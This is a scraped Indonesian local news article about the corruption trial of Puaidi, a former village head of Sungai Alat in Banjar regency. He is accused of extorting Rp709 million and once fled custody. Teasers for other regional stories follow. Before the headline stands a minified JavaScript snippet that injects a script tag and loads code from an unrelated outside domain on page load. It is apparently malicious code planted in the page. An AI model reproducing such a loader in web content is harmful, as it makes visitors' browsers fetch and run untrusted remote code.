(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Sempat Kabur, Mantan Kades Sungai Alat Disidang Kasus Pungli


KANALKALIMANTAN.COM, BANJARMASIN – Mantan Kepala Desa (Kades) Sungai Alat, Kecamatan Astambul, Kabupaten Banjar, Puaidi menjalani sidang kasus tindak pidana korupsi, Selasa (18/2/2025) siang.

Sidang perdana dipimpin hakim Pengadilan Tipikor Banjarmasin, Arias Dedy dan dua hakim anggota.

Memakai rompi tahanan, terdakwa Puaidi mengikuti persidangan setelah dijemput dari Lapas tempatnya ditahan.

Jaksa Penuntut Umum (JPU) dari Kejaksaan Negeri (Kejari) Banjar, Erwin Dwi Kurnia Sandy mengungkapkan, terdakwa Puaidi didakwa melakukan pungutan liar (pungli).

Baca juga: Mahasiswa Kalsel Tolak Konsensi Tambang untuk Perguruan Tinggi!

Perbuatan terdakwa dilakukan dalam rentang waktu 2021-2024, selama dirinya menjabat Kades Sungai Alat.

Erwin menyebut terdakwa melakukan pungli gaji bulanan aparatur desa, mulai dari Kaur Keuangan hingga Sekretaris Desa (Sekdes) Sungai Alat.

Selain itu, terdakwa juga memungut penerima manfaat Bantuan Langsung Tunai (BLT).

Bahkan, Kades yang menjabat selama 4 tahun itu juga disebut melakukan pungutan antrean pengisian Bahan Bakar Minyak (BBM) di SPBU yang ada di Desa Sungai Alat.

Baca juga: Bentuk Tim Pembina Posyandu, Pemkab Banjar Gelar Rapat

“Total nominalnya mulai dari pungli gaji, pungli penerima BLT, dan pungli antrean SPBU sebesar Rp709 juta,” kata JPU Erwin.

JPU mengungkapkan dalih terdakwa melakukan pemungutan tersebut untuk pembangunan alkah, gaji guru madrasah, dan guru TK di desa, namun tak direalisasikan terdakwa.

Perbuatan Puaidi didakwa dengan pasal 12 huruf e Undang-Undang Republik Indonesia Nomor 20 Tahun 2001 tentang Perubahan atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi.

Diketahui, Puaidi sebelumnya kabur ketika dilakukan proses tahap II di Kejari Banjar pada 4 Desember 2024 lalu, setelah penyidik Unit Tipikor Polres Banjar menganggap perkaranya lengkap atau P-21. Terdakwa memanfaatkan kesempatan melarikan diri saat izin ke toilet.

Baca juga: Berselisih di Rumah Makan, Sopir Ekspedisi Bawa Mobil Bos Berakhir di Polisi

“Dia kabur saat mau dilakukan tahap dua,” kata Erwin.

Namun, pelarian Puadi terhenti pada 26 Desember 2024 ketika polisi berhasil meringkus dirinya saat berada di Desa Bersujud, Kecamatan Simpang Empat, Kabupaten Tanah Bumbu.

Usai pembacaan surat dakwaan, terdakwa Puaidi melalui penasihat hukum mengaku akan mengajukan eksepsi atas dakwaan penuntut umum.

Majelis hakim menetapkan sidang berikutnya digelar pada Selasa (27/2/2025) dengan agenda pembacaan keberatan penasehat hukum terdakwa. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Ribuan Peserta Ramaikan Festival Budaya Tinggang Menteng Panunjung Tarung

KANALKALIMANTAN. COM, KUALA KAPUAS - Ribuan orang memeriahkan Festival Budaya Tinggang Menteng Panunjung Tarung dalam… Read More

5 jam ago

Angkat Menu Hulu Sungai, Cafe and Eatery “Warung Pagat” Sajikan Mandai, Tarap hingga Pakasam

KANALKALIMANTAN.COM, BANJARBARU - Bisnis F&B atau Food and Beverage kian berkembang di Ibu Kota Provinsi… Read More

9 jam ago

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

1 hari ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

1 hari ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

1 hari ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

1 hari ago